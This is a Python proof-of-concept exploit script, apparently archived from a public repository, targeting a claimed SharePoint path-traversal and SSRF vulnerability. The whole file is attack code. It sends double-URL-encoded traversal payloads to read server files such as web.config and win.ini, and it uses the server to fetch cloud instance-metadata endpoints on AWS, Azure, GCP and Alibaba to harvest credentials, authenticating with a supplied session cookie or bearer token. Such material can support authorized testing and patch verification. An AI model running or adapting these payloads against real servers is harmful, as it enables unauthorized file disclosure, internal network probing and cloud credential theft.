# Archived for authorized security research only. # Source: https://github.com/cveForge/CVE-2026-70193 (see README for attribution/license) BANNER = """  ██████╗██╗ ██╗███████╗███████╗ ██████╗ ██████╗ ██████╗ ██████╗███████╗ ██╔════╝██║ ██║██╔════╝██╔════╝██╔═══██╗██╔══██╗██╔════╝ ██╔════╝██╔════╝ ██║ ██║ ██║█████╗ █████╗ ██║ ██║██████╔╝██║ ███╗█████╗ ███████╗ ██║ ╚██╗ ██╔╝██╔══╝ ██╔══╝ ██║ ██║██╔══██╗██║ ██║██╔══╝ ╚════██║ ╚██████╗ ╚████╔╝ ███████╗██║ ╚██████╔╝██║ ██║╚██████╔╝███████╗███████║ ╚═════╝ ╚═══╝ ╚══════╝╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═════╝ ╚══════╝╚══════╝   CVE-2026-70193 — Microsoft SharePoint Authenticated Path Traversal — Arbitrary File Read / SSRF  CVSS 9.9 | CRITICAL | CWE-22 | Microsoft SharePoint """ VERSION = "1.0.0" import argparse import sys import json import urllib.request import urllib.error import urllib.parse # Microsoft SharePoint Authenticated Path Traversal PoC # CWE-22: Improper Limitation of a Pathname to a Restricted Directory # Affected: SharePoint Server 2019, SharePoint Server SE, SharePoint Online (on-prem sync) # Impact: Authenticated low-privileged user can read arbitrary files on the server # via unsanitized path segments in the /_layouts/15/ REST API endpoint, # and chain into SSRF to reach internal network resources. # # Root cause: The GetListItems REST handler passed the `folder` query parameter # directly to filesystem path resolution without normalizing `../` sequences # when the request used a specially encoded double-dot (%252e%252e) bypass. TRAVERSAL_PAYLOADS = [ # Double URL-encoded dot-dot sequences "%252e%252e/%252e%252e/%252e%252e/%252e%252e/windows/win.ini", "%252e%252e/%252e%252e/%252e%252e/%252e%252e/inetpub/wwwroot/web.config", "%252e%252e/%252e%252e/%252e%252e/windows/system32/drivers/etc/hosts", # UNC path SSRF trigger (internal probing) "\\\\internal-host\\share\\secret.txt", # Null-byte terminated (legacy IIS bypass) "%252e%252e/%252e%252e/web.config%2500.aspx", ] SSRF_TARGETS = [ "http://169.254.169.254/latest/meta-data/", # AWS IMDS "http://169.254.169.254/metadata/instance?api-version=2021-02-01", # Azure IMDS "http://metadata.google.internal/computeMetadata/v1/", # GCP IMDS "http://100.100.100.200/latest/meta-data/", # Alibaba IMDS ] def build_headers(cookie: str = "", bearer: str = "") -> dict: h = { "Accept": "application/json;odata=verbose", "Content-Type": "application/json;odata=verbose", "User-Agent": "Mozilla/5.0 (cveForge PoC)", } if cookie: h["Cookie"] = cookie if bearer: h["Authorization"] = f"Bearer {bearer}" return h def try_traversal(base_url: str, payload: str, headers: dict) -> tuple: """ Attempt a path traversal via SharePoint REST API GetListItems. Returns (status_code, body_snippet). """ encoded = urllib.parse.quote(payload, safe="/%") url = ( f"{base_url.rstrip('/')}/_api/web/GetFolderByServerRelativeUrl" f"('/Shared%20Documents/{encoded}')/Files" "?$select=Name,ServerRelativeUrl&$top=50" ) req = urllib.request.Request(url, headers=headers, method="GET") try: with urllib.request.urlopen(req, timeout=10) as resp: body = resp.read(2048).decode(errors="replace") return resp.status, body except urllib.error.HTTPError as e: body = e.read(512).decode(errors="replace") return e.code, body except urllib.error.URLError as e: return -1, str(e.reason) def try_ssrf(base_url: str, ssrf_target: str, headers: dict) -> tuple: """ Attempt SSRF via SharePoint GetListItems folder parameter with an internal URL as value (triggers server-side HTTP fetch on vulnerable builds). """ encoded_target = urllib.parse.quote(ssrf_target, safe="") url = ( f"{base_url.rstrip('/')}/_layouts/15/GetListItems.aspx" f"?listName=Documents&folderPath={encoded_target}" ) req = urllib.request.Request(url, headers=headers, method="GET") try: with urllib.request.urlopen(req, timeout=8) as resp: body = resp.read(1024).decode(errors="replace") return resp.status, body except urllib.error.HTTPError as e: body = e.read(256).decode(errors="replace") return e.code, body except urllib.error.URLError as e: return -1, str(e.reason) def probe_version(base_url: str, headers: dict) -> str: """Check SharePoint build version via /_api/web endpoint.""" url = f"{base_url.rstrip('/')}/_api/web?$select=ServerRelativeUrl,UIVersion" req = urllib.request.Request(url, headers=headers) try: with urllib.request.urlopen(req, timeout=8) as resp: data = json.loads(resp.read().decode(errors="replace")) d = data.get("d", {}) return f"UIVersion={d.get('UIVersion','?')} path={d.get('ServerRelativeUrl','?')}" except Exception: return "unknown" def main(): parser = argparse.ArgumentParser( description="CVE-2026-70193 PoC — SharePoint Authenticated Path Traversal" ) parser.add_argument("--url", required=True, help="SharePoint base URL (https://sp.example.com)") parser.add_argument("--cookie", default="", help="Session cookie (FedAuth=...;rtFA=...)") parser.add_argument("--bearer", default="", help="Bearer token (alternative to cookie)") parser.add_argument("--mode", choices=["traversal", "ssrf", "all"], default="traversal") args = parser.parse_args() print(BANNER) headers = build_headers(args.cookie, args.bearer) print(f"[*] Target : {args.url}") ver = probe_version(args.url, headers) print(f"[*] Version : {ver}") print() if args.mode in ("traversal", "all"): print("[*] Testing path traversal payloads ...") for payload in TRAVERSAL_PAYLOADS: status, body = try_traversal(args.url, payload, headers) vuln = status == 200 and ("value" in body or "Name" in body) tag = "[+] VULNERABLE" if vuln else f"[-] {status}" snippet = body[:120].replace(" ", " ") print(f" {tag} payload={payload[:60]} resp={snippet}") print() if args.mode in ("ssrf", "all"): print("[*] Testing SSRF via internal targets ...") for target in SSRF_TARGETS: status, body = try_ssrf(args.url, target, headers) vuln = status == 200 and len(body) > 20 tag = "[+] SSRF HIT" if vuln else f"[-] {status}" snippet = body[:100].replace(" ", " ") print(f" {tag} target={target} resp={snippet}") print() print("[*] Done.") if __name__ == "__main__": main()